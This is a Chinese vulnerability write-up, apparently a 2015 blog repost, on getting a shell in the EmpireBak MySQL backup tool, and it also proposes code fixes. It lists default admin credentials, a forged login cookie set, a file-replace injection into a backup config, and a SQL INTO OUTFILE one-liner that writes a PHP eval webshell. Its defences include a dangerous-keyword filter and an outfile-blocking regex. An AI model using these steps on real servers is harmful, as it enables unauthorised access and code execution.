码迷,mamicode.com
首页 > Web开发 > 详细

帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul

时间:2015-05-22 09:20:47      阅读:228      评论:0      收藏:0      [点我收藏+]

标签:

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库,帝国备份王(Empirebak)存在较多GETSHELL漏洞,本文逐一讨论从进入后台到GETSHELL的各种方式

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?knowledgeId=5980885&categoryId=8314968


2. 漏洞触发条件

0x1: 默认弱口令进入后台

admin
123456
//默认安装弱口令

0x2: 伪造cookie登录后台

ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 
ebak_bakrnd:35y5cCnnA4Kh 
ebak_bakusername:admin 
ebak_baklogintime:4070883661
//使用以上cookie即可直接访问admin.php 

使用firefox tamper data代理截包,访问下列网址

http://localhost/EmpireBak2010/admin.php
http://localhost/EmpireBak2010/DoSql.php

在tamper data暂停的时候,修改cookie值,如果不存在就添加cookie这一项,可以直接免登进入指定后台页面

Cookie=ebak_loginebakckpass=119770adb578053dcb383f67a81bcbc6;ebak_bakrnd=35y5cCnnA4Kh;ebak_bakusername=admin;ebak_baklogintime=4070883661

0x3: 后台"管理备份目录"创建xx.asp目录进行IIS解析漏洞GETSHELL

在新版帝国备份cms中已经修复,并且这个漏洞需要目标服务器是IIS,才存在这个漏洞,在实际情况中,大多数是PHP+APACHE的架构

0x4: 备份数据、替换目录文件内容GETHSLL

1. 登陆后先备份一次数据 
2. 备份时可选择备份到的目录,默认有个safemod  
3. 备份完毕后来到"管理备份目录",打包并下载 
//备份后的safemod目录下所有的表都是以PHP保存的
4. 查看下载下来的备份文件的内容
5. Empirebak"管理备份目录"下有个替换文件内容功能,选择和刚才下载的同一个目录,点击替换文件内容:http://www.xxx.com/diguo/RepFiletext.php?mypath=safemod 
6. 例如替换config.php的内容 
/*
<?php
    $b_table="ecs_ad_custom";
    $tb[ecs_ad_custom]=1;

    $b_baktype=0;
    $b_filesize=300;
    $b_bakline=500;
    $b_autoauf=1;
    $b_dbname="test";
    $b_stru=1;
    $b_strufour=0;
    $b_dbchar="auto";
    $b_beover=0;
    $b_insertf="replace";
    $b_autofield=",,";
    $b_bakdatatype=0;
    ?>
*/
将字符: $b_bakdatatype=0;
替换为: 
$b_bakdatatype=0;
phpinfo();
7. http://xxx/diguo/bdata/safemod/config.php 
显示phpinfo内容,GETSHELL成功

技术分享

0x5: 执行自定义SQL导出GETSHELL

select <?php @eval($_POST[pass]);?>INTO OUTFILE c:/WEB ROOT PATH/xiaohan.php 

技术分享

Relevant Link:

http://www.yunsec.net/a/security/web/jbst/2011/0603/8816.html
http://www.2cto.com/Article/201005/47257.html
http://www.wooyun.org/bugs/wooyun-2010-078591
http://0day5.com/archives/2771
http://www.wooyun.org/bugs/wooyun-2010-078591
http://www.sqlmap.cc/post-37.html


3. 漏洞影响范围
4. 漏洞代码分析

0x1: 伪造cookie登录后台

\admin.php

<?php
require(class/connect.php);
require(class/functions.php);
//验证是否已经处于登录状态
$lur=islogin();
$loginin=$lur[username];
$rnd=$lur[rnd];
require LoadAdminTemp(eadmin.php);
?>

\class\functions.php

//是否登陆
function islogin($uname=‘‘,$urnd=‘‘)
{
    //die(var_dump($_COOKIE));
    $_COOKIE[ebak_loginebakckpass] = "119770adb578053dcb383f67a81bcbc6"; 
    
    
    $_COOKIE[ebak_baklogintime] = "4070883661";

    /*
    来自配置文件/class/config.php,漏洞的根源在于帝国CMS采用了默认值
    $set_username="admin";
    $set_outtime="60";
    */
    global $set_username, $set_outtime;
    //从$_COOKIE全局数组中获取bakusername,黑客注入的是: $_COOKIE[‘ebak_bakusername‘] = "admin";
    $username = $uname ? $uname : getcvar(bakusername);
    //从$_COOKIE全局数组中获取bakrnd,黑客注入的是: $_COOKIE[‘ebak_bakrnd‘] = "35y5cCnnA4Kh";
    $rnd = $urnd ? $urnd : getcvar(bakrnd); 
    
    //正常通过
    if(empty($username) || empty($rnd))
    {
        printerror("NotLogin","index.php");
    }
    //黑客的目标是免登admin,这里一定相等
    if($username <> $set_username)
    {
        printerror("NotLogin","index.php");
    }
    /*
    验证cookie中的值
    $username = admin
    $rnd = 35y5cCnnA4Kh
    */
    Ebak_CHCookieRnd($username, $rnd); 

    $time=time();
    if($time-getcvar(baklogintime)>$set_outtime*60)
    {
        printerror("OutLogintime","index.php");
    }
    esetcookie("baklogintime",$time,0);
    $lr[username]=$username;
    $lr[rnd]=$rnd;
    return $lr;
}

\class\functions.php

//验证COOKIE认证
function Ebak_CHCookieRnd($username,$rnd)
{
    /*
    $set_loginrnd为config.php里面的验证随机码,漏洞的根源在于这是一个默认值: $set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV";
    */
    global $set_loginrnd; 
    //在默认值情况下,计算的结果永远是: $ckpass = 119770adb578053dcb383f67a81bcbc6
    $ckpass = md5(md5($rnd . $set_loginrnd).-.$rnd.-.$username.-); 
    //比较通过,判定为已登录,漏洞产生
    if($ckpass<>getcvar(loginebakckpass))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\phome.php

elseif($phome=="RepPathFiletext")//脤忙禄禄脛驴脗录脦脛录镁
{ 
    Ebak_RepPathFiletext($_POST);
}

\class\combakfun.php

//替换文件内容
function Ebak_RepPathFiletext($add)
{
    global $bakpath;
    //替换目标文件的路径
    $mypath=trim($add[mypath]);
    //被替换的内容
    $oldword = Ebak_ClearAddsData($add[oldword]);
    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add[newword]);
    $dozz=(int)$add[dozz];
    if(empty($oldword)||empty($mypath))
    {
        printerror("EmptyRepPathFiletext","history.go(-1)");
    }
    if(strstr($mypath,".."))
    {
        printerror("NotChangeRepPathFiletext","history.go(-1)");
    }
    $path=$bakpath."/".$mypath;
    if(!file_exists($path))
    {
        printerror("PathNotExists","history.go(-1)");
    }
    $hand=@opendir($path);
    //遍历目标目录的所有文件,逐一进行文本替换
    while($file=@readdir($hand))
    {
        $filename=$path."/".$file;
          if($file!="."&&$file!=".."&&is_file($filename))
        {
            $value=ReadFiletext($filename);
            if($dozz)
            {    
                //执行文本替换
                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
            }
            else
            {
                if(!stristr($value,$oldword))
                {
                    continue;
                }
                $newvalue=str_replace($oldword,$newword,$value);
            }
            WriteFiletext_n($filename,$newvalue);
        }
    }
    printerror("RepPathFiletextSuccess","RepFiletext.php");
}

\class\functions.php

//正则替换信息
function Ebak_DoRepFiletextZz($oldword,$newword,$text)
{
    $zztext=Ebak_RepInfoZZ($oldword,"empire-bak-wm.chief-phome",0);
    //无任何过滤,直接替换
    $text=preg_replace($zztext,$newword,$text);
    return $text;
}

0x3: 执行自定义SQL导出GETSHELL

\phome.php

elseif($phome=="DoExecSql") 
{
    Ebak_DoExecSql($_POST);
}
elseif($phome=="DoTranExecSql") 
{
    $file=$_FILES[file][tmp_name];
    $file_name=$_FILES[file][name];
    $file_type=$_FILES[file][type];
    $file_size=$_FILES[file][size];
    Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$_POST);
}

\class\combakfun.php

//执行SQL语句
function Ebak_DoExecSql($add)
{
    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
    $query = $add[query];
    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }
    //数据库
    if($add[mydbname])
    {
        $empire->query("use `".$add[mydbname]."`");
    }
    //编码
    if($add[mydbchar])
    {
        DoSetDbChar($add[mydbchar]);
    }
    $query = Ebak_ClearAddsData($query);
    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query, $add[mydbchar], $phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}

//上传执行SQL
function Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$add){
    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
    if(!$file_name||!$file_size)
    {
        printerror("NotChangeSQLFile","history.go(-1)");
    }
    $filetype=GetFiletype($file_name);//取得扩展名
    if($filetype!=".sql")
    {
        printerror("NotTranSQLFile","history.go(-1)");
    }
    //上传文件
    $newfile=tmp/uploadsql.time()..sql;
    $cp=Ebak_DoTranFile($file,$newfile);
    if(empty($cp))
    {
        printerror("TranSQLFileFail","history.go(-1)");
    }
    $query=ReadFiletext($newfile);
    DelFiletext($newfile);
    if(!$query)
    {
        printerror("EmptyRunSql","history.go(-1)");
    }
    //数据库
    if($add[mydbname])
    {
        $empire->query("use `".$add[mydbname]."`");
    }
    //编码
    if($add[mydbchar])
    {
        DoSetDbChar($add[mydbchar]);
    }
    //调用Ebak_DoRunQuery执行最终的SQL语句
    Ebak_DoRunQuery($query,$add[mydbchar],$phome_db_ver);
    printerror("RunSqlSuccess","DoSql.php");
}

\class\functions.php

//运行SQL
function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;
    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));
        foreach($queries as $query)
        {
            $ret[$num].=$query[0]==#||$query[0].$query[1]==--?‘‘:$query;
        }
        $num++;
    }
    unset($sql);
    foreach($ret as $query)
    {
        $query=trim($query);
        if($query)
        {
            if(substr($query,0,12)==CREATE TABLE)
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }
            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}


5. 防御方法

0x1: 伪造cookie登录后台

从最佳安全实践的角度来说,基于cookie的免登验证应该使用session机制来进行
\class\functions.php

//设置COOKIE认证
function Ebak_SCookieRnd($username,$rnd)
{
    //基于SESSION进行免登验证
    session_start();
    global $set_loginrnd;  
    //在cookie中加入随机因子
    $ckpass = md5(md5($rnd.$set_loginrnd).-.$rnd.-.$username.-.mt_rand() ); 
    //SESSION记录
    $_SESSION[ckpass] = $ckpass;
    esetcookie("loginebakckpass",$ckpass,0);
}

//验证COOKIE认证
function Ebak_CHCookieRnd($username,$rnd)
{
    //基于SESSION进行免登验证
    session_start(); 
    global $set_loginrnd;  
    //获取SESSION内容
    $ckpass = $_SESSION[ckpass]; 
    if($ckpass<>getcvar(loginebakckpass))
    {
        printerror("NotLogin","index.php");
    }
}

0x2: 备份数据、替换目录文件内容GETHSLL

\class\combakfun.php

//替换文件内容
function Ebak_RepPathFiletext($add)
{
    global $bakpath;
    //替换目标文件的路径
    $mypath=trim($add[mypath]);
    //被替换的内容
    $oldword = Ebak_ClearAddsData($add[oldword]);
    //用于替换的新内容
    $newword = Ebak_ClearAddsData($add[newword]);

    /* 对用于替换的内容进行危险关键字过滤 */
    if( preg_match("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", $newword) )
    {
        die("Request Error!");  
    }
    /**/
    ..

0x3: 执行自定义SQL导出GETSHELL

\class\functions.php

//运行SQL
function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
{
    $sql=str_replace("\r","\n",$sql);
    $ret=array();
    $num=0;
    //执行多语句拆分
    foreach(explode(";\n",trim($sql)) as $query)
    {
        $queries=explode("\n",trim($query));
        foreach($queries as $query)
        {
            $ret[$num].=$query[0]==#||$query[0].$query[1]==--?‘‘:$query;
        }
        $num++;
    }
    unset($sql);
    foreach($ret as $query)
    {
        $query=trim($query);
        if($query)
        {
            /* SQL注入过滤 */
            if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $query, $matches))
            {
                echo "request error!" . "</br>" . $matches[0];
                die();
            }  
            /* */

            if(substr($query,0,12)==CREATE TABLE)
            {
                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
            }
            else
            {
                mysql_query($query) or die(mysql_error()."<br>".$query);
            }
        }
    }
}


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul

标签:

原文地址:http://www.cnblogs.com/LittleHann/p/4519968.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!